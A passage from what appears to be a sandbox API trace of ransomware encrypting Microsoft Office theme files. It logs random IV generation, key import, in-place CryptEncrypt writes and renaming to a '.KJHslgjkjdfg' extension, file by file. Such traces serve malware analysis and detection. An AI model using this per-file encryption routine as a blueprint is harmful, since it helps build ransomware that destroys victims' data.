dwBufLen=0x124a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x124a0) returned 1 [0197.233] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.233] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x124a0, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x124a0, lpOverlapped=0x0) returned 1 [0197.234] CryptDestroyKey (hKey=0x2c6260) returned 1 [0197.234] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x12574, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.234] SetEndOfFile (hFile=0x124) returned 1 [0197.237] GetProcessHeap () returned 0x2a0000 [0197.237] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0197.237] GetProcessHeap () returned 0x2a0000 [0197.237] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0197.237] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Solstice.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\solstice.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Solstice.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\solstice.thmx.kjhslgjkjdfg")) returned 1 [0197.239] CloseHandle (hObject=0x124) returned 1 [0197.239] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fb74300, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2fb74300, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x10d83, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Technic.thmx", cAlternateFileName="TECHNI~1.THM")) returned 1 [0197.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Technic.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\technic.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0197.242] GetProcessHeap () returned 0x2a0000 [0197.242] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0197.242] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0197.242] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0197.242] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0xd, lpOverlapped=0x0) returned 1 [0197.244] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0197.244] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0197.244] GetProcessHeap () returned 0x2a0000 [0197.244] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0197.245] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40) returned 1 [0197.245] CryptDestroyKey (hKey=0x2c6260) returned 1 [0197.245] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f8*=0x40, lpOverlapped=0x0) returned 1 [0197.245] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0197.245] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0197.245] WriteFile (in: hFile=0x124, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0197.245] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0197.245] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0197.245] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0197.245] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0197.245] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.245] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x10d83, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x10d83, lpOverlapped=0x0) returned 1 [0197.247] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x10d90, dwBufLen=0x10d90 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x10d90) returned 1 [0197.248] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.248] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x10d90, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x10d90, lpOverlapped=0x0) returned 1 [0197.248] CryptDestroyKey (hKey=0x2c6260) returned 1 [0197.248] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x10e64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.249] SetEndOfFile (hFile=0x124) returned 1 [0197.252] GetProcessHeap () returned 0x2a0000 [0197.252] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0197.252] GetProcessHeap () returned 0x2a0000 [0197.252] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0197.252] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Technic.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\technic.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Technic.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\technic.thmx.kjhslgjkjdfg")) returned 1 [0197.254] CloseHandle (hObject=0x124) returned 1 [0197.254] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59706a00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x59706a00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x15d75, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Thatch.thmx", cAlternateFileName="THATCH~1.THM")) returned 1 [0197.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Thatch.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\thatch.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0197.256] GetProcessHeap () returned 0x2a0000 [0197.256] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0197.256] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0197.256] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0197.256] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0xb, lpOverlapped=0x0) returned 1 [0197.259] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0197.259] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0197.259] GetProcessHeap () returned 0x2a0000 [0197.259] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0197.259] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40) returned 1 [0197.259] CryptDestroyKey (hKey=0x2c6260) returned 1 [0197.259] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f8*=0x40, lpOverlapped=0x0) returned 1 [0197.259] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0197.259] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0197.259] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0197.259] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0197.260] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0197.260] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0197.260] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0197.260] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.260] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x15d75, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x15d75, lpOverlapped=0x0) returned 1 [0197.262] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x15d80, dwBufLen=0x15d80 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x15d80) returned 1 [0197.263] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.263] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x15d80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x15d80, lpOverlapped=0x0) returned 1 [0197.263] CryptDestroyKey (hKey=0x2c6260) returned 1 [0197.263] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x15e54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.263] SetEndOfFile (hFile=0x124) returned 1 [0197.266] GetProcessHeap () returned 0x2a0000 [0197.266] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0197.266] GetProcessHeap () returned 0x2a0000 [0197.266] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0197.266] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Thatch.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\thatch.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Thatch.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\thatch.thmx.kjhslgjkjdfg")) returned 1 [0197.268] CloseHandle (hObject=0x124) returned 1 [0197.268] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c9cf70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603f4990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Theme Colors", cAlternateFileName="THEMEC~1")) returned 1 [0197.268] GetProcessHeap () returned 0x2a0000 [0197.268] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x94) returned 0x2c21e0 [0197.268] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c9cf70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603f4990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c6260 [0197.271] GetProcessHeap () returned 0x2a0000 [0197.271] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c21e0 | out: hHeap=0x2a0000) returned 1 [0197.271] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c9cf70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603f4990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0197.272] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccc5300, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc5300, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adjacency.xml", cAlternateFileName="ADJACE~1.XML")) returned 1 [0197.272] GetProcessHeap () returned 0x2a0000 [0197.272] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x296) returned 0x2fb738 [0197.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Adjacency.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\adjacency.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0197.274] GetProcessHeap () returned 0x2a0000 [0197.274] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0197.274] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0197.274] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0197.274] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0197.274] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0197.274] GetProcessHeap () returned 0x2a0000 [0197.274] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0197.274] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0197.274] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0197.274] WriteFile (in: hFile=0xf0, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0197.277] WriteFile (in: hFile=0xf0, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0197.277] WriteFile (in: hFile=0xf0, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0197.277] WriteFile (in: hFile=0xf0, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0197.277] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0197.277] WriteFile (in: hFile=0xf0, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0197.277] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0197.277] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0197.277] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.277] ReadFile (in: hFile=0xf0, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3a0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3a0, lpOverlapped=0x0) returned 1 [0197.277] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3a0, dwBufLen=0x3a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3a0) returned 1 [0197.277] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.277] WriteFile (in: hFile=0xf0, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3a0, lpOverlapped=0x0) returned 1 [0197.278] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0197.278] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.278] SetEndOfFile (hFile=0xf0) returned 1 [0197.280] GetProcessHeap () returned 0x2a0000 [0197.280] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0197.280] GetProcessHeap () returned 0x2a0000 [0197.280] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0197.280] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Adjacency.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\adjacency.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Adjacency.xml.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\adjacency.xml.kjhslgjkjdfg")) returned 1 [0197.282] CloseHandle (hObject=0xf0) returned 1 [0197.282] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfd8000, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdfd8000, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x39d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Angles.xml", cAlternateFileName="")) returned 1 [0197.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Angles.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\angles.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0197.283] GetProcessHeap () returned 0x2a0000 [0197.283] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0197.283] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0197.283] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0197.283] WriteFile (in: hFile=0xf0, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x3, lpOverlapped=0x0) returned 1 [0197.285] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0197.285] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0197.285] GetProcessHeap () returned 0x2a0000 [0197.285] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0197.285] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30) returned 1 [0197.285] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0197.285] WriteFile (in: hFile=0xf0, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f270*=0x30, lpOverlapped=0x0) returned 1 [0197.285] WriteFile (in: hFile=0xf0, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0197.285] WriteFile (in: hFile=0xf0, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0197.285] WriteFile (in: hFile=0xf0, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0197.285] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0197.285] WriteFile (in: hFile=0xf0, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0197.286] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0197.286] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0197.286] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 